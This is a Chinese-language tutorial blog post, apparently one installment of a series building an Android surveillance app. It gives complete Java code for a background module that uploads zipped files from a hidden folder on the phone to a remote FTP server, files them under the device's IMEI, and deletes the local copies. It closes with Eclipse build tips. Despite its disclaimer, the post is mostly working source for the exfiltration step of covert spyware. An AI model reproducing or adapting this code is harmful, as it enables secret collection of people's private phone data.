(此项目只作为学习交流使用,切不可去监听他人隐私,否则后果自负)
继续上次。
安卓FTP协议发送文件到服务器
在这个项目中需要把文件发送到ftp服务器,这就需要在手机客户端中,以ftp的方式去连接。
通过FTP的方式来传输文件,可以确保文件在传输过程中不会因为文件太大,造成传输超时或数据上传不完整的情况。
这里推荐一个支持ftp的免费空间服务商 www.nanoyun.com
这里实现FTP的功能需要Apache所提供的Commons Net API。官方下载地址http://commons.apache.org/proper/commons-net/download_net.cgi
我用的 是3.3版本
大致说一下这个模块的代码文件结构
一共3个java文件
一个ftphelper 类 该类提供了连接服务器,关闭连接,发送文件等方法
一个发送文件类,该类提供了网络连接判断,等
一个后台服务类,作为一个服务在后台一直运行,开启另外一个线程发送文件(之后讲)
话不多说,直接上代码吧
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
import org.apache.commons.net.ftp.FTPClient;
import org.apache.commons.net.ftp.FTPReply;
import android.util.Log;
/**
* FTP上传文件类
* @author lookingfor
*
*/
public class FtpHelper {
/**
* 服务器名.
*/
private String hostName;
/**
* 用户名.
*/
private String userName;
/**
* 密码.
*/
private String password;
/**
* FTP连接.
*/
private FTPClient ftpClient;
/**
* 新建文件夹名
*/
private String dirName;
/**
* TAG
*/
private String TAG = "MyListener";
/**
* 构造函数.
*
* @param host hostName 服务器名
* @param user userName 用户名
* @param pass password 密码
*/
public FtpHelper(String host, String user, String pass) {
this.hostName = host;
this.userName = user;
this.password = pass;
this.ftpClient = new FTPClient();
}
/**
* 打开FTP服务.
*
*/
public boolean openConnect() {
boolean flag = true;
// 编码格式为UTF-8
ftpClient.setControlEncoding("UTF-8");
int reply; // 服务器响应值
try {
// 连接至服务器
ftpClient.setDefaultPort(21);//默认端口21
ftpClient.setDefaultTimeout(30000);
ftpClient.connect(hostName);
// 获取响应值
reply = ftpClient.getReplyCode();
if (!FTPReply.isPositiveCompletion(reply)) {
// 断开连接
ftpClient.disconnect();
Log.i(TAG, "connect failed " + reply);
return flag = false;
}
// 登录到服务器
ftpClient.login(userName, password);
// 获取响应值
reply = ftpClient.getReplyCode();
if (!FTPReply.isPositiveCompletion(reply)) {
// 断开连接
ftpClient.disconnect();
Log.i(TAG, "login failed " + reply);
return flag = false;
} else {
// 使用被动模式设为默认
ftpClient.enterLocalPassiveMode();
// 以二进制文件发送
ftpClient.setFileType(org.apache.commons.net.ftp.FTP.BINARY_FILE_TYPE);
Log.i(TAG, "login");
return flag;
}
} catch (Exception e) {
// TODO: handle exception
Log.i(TAG, "connect failed message: " + e);
return flag = false;
}
}
/**
* 关闭FTP服务.
*
*/
public void closeConnect() {
if (ftpClient != null) {
try {
ftpClient.logout();
// 断开连接
ftpClient.disconnect();
Log.i(TAG, "logout");
} catch (Exception e) {
// TODO: handle exception
Log.i(TAG, "logout failed message : " + e);
}
}
}
/**
* 在FTP上创建文件夹
* @param dirname
* @return成功返回true;
*/
public boolean createDirectory(String dirname) {
boolean flag = true;
this.dirName = dirname;
try {
ftpClient.makeDirectory(dirName);
return flag;
} catch (Exception e) {
Log.i(TAG, "failed message : "+e);
closeConnect();
return flag = false;
}
}
/**
* 更改ftp工作目录
* @param dirname
* @return
*/
public boolean changeDir(String dirname){
this.dirName = dirname;
try {
ftpClient.changeWorkingDirectory(dirName);
return true;
} catch (Exception e) {
// TODO: handle exception
Log.i(TAG, "changedir failed message: " + e);
closeConnect();
return false;
}
}
/**
* 上传文件.
*
* @param localFile 本地文件
* @return true上传成功, false上传失败
*/
public boolean uploadingSingle(File localFile) {
boolean flag = true;
try {
// 创建输入流
InputStream inputStream = new FileInputStream(localFile);
// 上传单个文件
flag = ftpClient.storeFile(localFile.getName(), inputStream);
// 关闭文件流
inputStream.close();
Log.i(TAG, "upload success");
return flag;
} catch (Exception e) {
// TODO: handle exception
Log.i(TAG, "upload failed message: " + e);
return flag = false;
}
}
}
下面接着是
SendFiles.java
import java.io.File;
import java.util.ArrayList;
import com.android.snake.Config;
import com.android.snake.function.FileCompress;
import com.android.snake.function.Util;
import android.content.Context;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.util.Log;
/**
* 发送文件模块类
* @author lookingfor
*
*/
public class SendFiles {
/**
* TAG
*/
private static final String TAG = "MyLinster";
/**
* ftp 服务器地址
*/
private String host;
public void setHost(String host) {
this.host = host;
}
public String getHost() {
return host;
}
/**
* 登录ftp用户名
*/
private String username;
public void setUsername(String username) {
this.username = username;
}
public String getUsername() {
return username;
}
/**
* 登录ftp用户密码
*/
private String psd;
public String getPsd() {
return psd;
}
public void setPsd(String psd) {
this.psd = psd;
}
/**
* ftp新建文件夹目录名
*/
private String dirname;
/**
* 获取FTP对应文件名,没有则创建
* @return
*/
public String getDirname() {
if (isNeedToCreateDir(FTPFILEDIRNAME_KEY)) {
mConfig.setConfig(FTPFILEDIRNAME_KEY, mUtil.getPhoneIMEI());
}
dirname = mConfig.getConfig(FTPFILEDIRNAME_KEY);
return dirname;
}
/**
* 配置文件第一次启动标志key
*/
private static final String ISFIRSTUSE_KEY = "ISFIRSTUSE";
private static final String FTPFILEDIRNAME_KEY = "FTPFILEDIRNAME";
/**
* FtpHelper 对象
*/
private FtpHelper mFtpHelper;
private Context mContext;
Config mConfig;
Util mUtil;
public SendFiles(Context context) {
// TODO Auto-generated constructor stub
mContext = context;
mConfig = new Config(mContext);
mUtil = new Util(mContext);
}
/**
* 判断网络是否可用,包括wifi和卡数据
* @param context
* @return 可用为true
*/
public boolean isNetworkAvailable() {
if (mContext != null) {
ConnectivityManager connectivity = (ConnectivityManager) mContext
.getSystemService(Context.CONNECTIVITY_SERVICE);
if (connectivity != null) {
NetworkInfo[] info = connectivity.getAllNetworkInfo();
if (info != null)
for (int i = 0; i < info.length; i++)
if (info[i].getState() == NetworkInfo.State.CONNECTED) {
return true;
}
}
return false;
//return true;
}
Log.i(TAG, "没有获取到context 网络不可用!");
return false;
}
/**
* 是否需要创建文件夹在ftp服务器
* @param key
* @return
*/
private boolean isNeedToCreateDir(String key){
if ("0".equals(mConfig.getConfig(key))) {
return true;
}else {
return false;
}
}
/**
* 获取文件
* @return
*/
private ArrayList getFile(){
ArrayList filelist = FileCompress.getFileList("sdcard/1101/","zip");
if(filelist != null){
Log.i(TAG, "获取要发送的文件列表成功");
return filelist;
}
else {
Log.i(TAG, "获取要发送的文件列表失败");
return filelist;
}
//return FileCompress.getFileList("sdcard/1101/","zip").get(0);
}
/**
* 对外提供方法,开始发送文件,发送完成后删除文件
*/
public boolean startSendFiles(ArrayList filelist) {
boolean flag = false;
String dirnameString = getDirname();
//连接登录ftp
mFtpHelper = new FtpHelper(getHost(), getUsername(), getPsd());
Log.i(TAG, "服务器ip:" + getHost() + "用户名:" + getUsername() + "密码: " + getPsd());
if (!mFtpHelper.openConnect()) {
return flag;
}
//是否第一次上传,如果是则创建目录并写配置文件
if (isNeedToCreateDir(ISFIRSTUSE_KEY)) {
if(mFtpHelper.createDirectory(dirnameString)){
mConfig.setConfig(ISFIRSTUSE_KEY, "1");
}else {
return flag;
}
}
//转换工作区目录
if (!mFtpHelper.changeDir(dirnameString)) {
return flag;
}
// 上传文件
if (!filelist.isEmpty()) {
int count = 0;
for (File file : filelist) {
count++;
if (mFtpHelper.uploadingSingle(file)) {
Log.i(TAG, "已上传完成第" + count + "个文件");
if(file.delete()){
Log.i(TAG, "删除已上传完成的第" + count + "个文件成功");
}
flag = true;
}else {
Log.i(TAG, "上传第" + count + "个文件失败,开始进行下一次上传如果队列中还有文件的话");
flag = false;
}
}
}
mFtpHelper.closeConnect();
return flag;
}
}
这上一段代码中,有判断是否第一次运行程序,这里实现 的方式下篇再讲。
不过对于ftp还要注意的是,在添加引用 和编译调试的时候也会遇到错误,下面就再讲一下,如何在eclipse里添加引用,并且成功否编译吧
添加引用:右键项目文件夹 --选择Build Path --选择 Add Librarlies
在弹出的对话框中 选择User Library 点击 Next ----点击User Libraries
在弹出的对话框中 选择 New...
输入 名称(随便你输入)不要选择下面的System Library 点击ok
然后 列表里就多了你新建的library 然后 选中 点击右边的 Add External JARs....
选择 commons-net-3.3.jar 点击 ok
添加引用到 libs文件夹
在项目中找到 libs文件夹,把 commons-net-3.3.jar直接拖进去,右键文件夹 选择Build Path --- Use as Source Folder
这样编译的时候 就会把这个jar包 放到apk里
关于编译报错的解决
报错信息:
Unable to execute dex: Multiple dex files define Landroid/support/annotation/AnimRes;
Conversion to Dalvik format failed: Unable to execute dex: Multiple dex files define Landroid/support/annotation/AnimRes;
解决方法
右键项目文件夹 选择 Properties --选择左侧的 Java Build Path 在Libraries选项卡中 Remove 掉 Android Dependencies 和Android Private Libraries两项 然后再编译就好了。